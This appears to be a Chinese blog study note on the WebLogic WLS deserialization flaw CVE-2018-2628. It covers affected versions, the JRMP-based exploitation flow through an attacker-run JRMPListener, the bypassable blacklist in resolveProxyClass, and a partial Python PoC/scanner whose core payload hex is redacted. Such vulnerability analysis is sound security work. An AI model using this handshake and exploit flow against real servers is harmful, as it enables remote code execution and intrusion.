CVE-2018-2628 weblogic WLS反序列化漏洞

weblogic WLS 反序列化漏洞學習


 

## 漏洞簡介 ## *** + 漏洞威脅:RCE--遠程代碼執行 + 漏洞組件:weblogic + 影響版本:10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3 + 溫馨提示:對於攻擊者自己構造的新的payload,還沒有被oracle加入黑名單,所以還是多加留心、持續監控的好。

漏洞復現


  • 我保存了python漏掃腳本,重命名爲weblogic2628.py;
  • 使用命令python weblogic2628.py (目標在腳本代碼內修改了)探測發現存在漏洞;
  • 由於漏洞環境不能控制,沒有做進一步測試;

根據大佬分析文檔中的步驟,援引如下:

+ 首先利用weblogic的T3或者T3S協議(目標端口7001)進行握手嘗試,如果握手成功,發送第一步payload; ![](https://images2018.cnblogs.com/blog/1070321/201804/1070321-20180418142538960-2109398262.png) + 第一步payload,T3服務會解包Object結果,然後通過java反序列化最倒黴的函數readObject函數層層反序列化,去請求攻擊者服務器的1099端口,下載惡意payload;借用大神一張圖: ![](https://images2018.cnblogs.com/blog/1070321/201804/1070321-20180418142730658-294636473.png) + 第二步,攻擊者在自己的服務器上啓用ysoserial.exploit.JRMPListener,JRMPListener會將含有惡意代碼的payload發送回請求方,這裏就是的惡意Payload就是任意代碼執行的惡意代碼; + 援引大神的話:查看weblogic日誌,並且可以彈出計算器,借大神一張圖:

漏洞分析部分學習筆記


protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;

   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }

   return super.resolveProxyClass(interfaces);
}

上邊放上了源碼:來看看InboundMsgAbbrev中resolveProxyClass的實現,resolveProxyClass是處理rmi接口類型的,只判斷了java.rmi.registry.Registry,其實隨便找一個rmi接口即可繞過。

大概意思應該是,只判斷是否是RMI接口,如果是就OK,沒有做其他的權限檢查,或可信檢查,導致攻擊者自己起一個RMI接口,就可以引導weblogic去請求自己存好的惡意代碼段;這個惡意代碼是利用JRMP加載回來的利用readObject解析的,從而達到了RCE的目的。對於JRMP的解析可以看下大神的原話:

核心部分就是JRMP(Java Remote Methodprotocol),在這個PoC中會序列化一個RemoteObjectInvocationHandler,它會利用UnicastRef建立到遠端的tcp連接獲取RMI registry,加載回來再利用readObject解析,從而造成反序列化遠程代碼執行。

poc簡要分析(隱去關鍵十六進制payload部分)


def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了補丁之後,會阻塞,所以設置超時時間,默認15s,根據情況自己調整
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    print 'rs',rs
    checkVul(rs,server_addr,index)   
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'
def buildT3RequestObject(sock,port):
    data1 = ''
    data2 = ''.format('{:04x}'.format(dport))
    data3 = ''
    data4 = ''
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))


def sendEvilObjData(sock,data):
    payload=''
    payload+=data  
    payload+=''
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])

看一下基本過程就是先進行T3的握手,成功了就發送第一步的payload,然後發送RequestObject,嘗試讓weblogic反連自己,然後發送惡意數據,通過回顯判定惡意特徵串來判定是否存在漏洞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章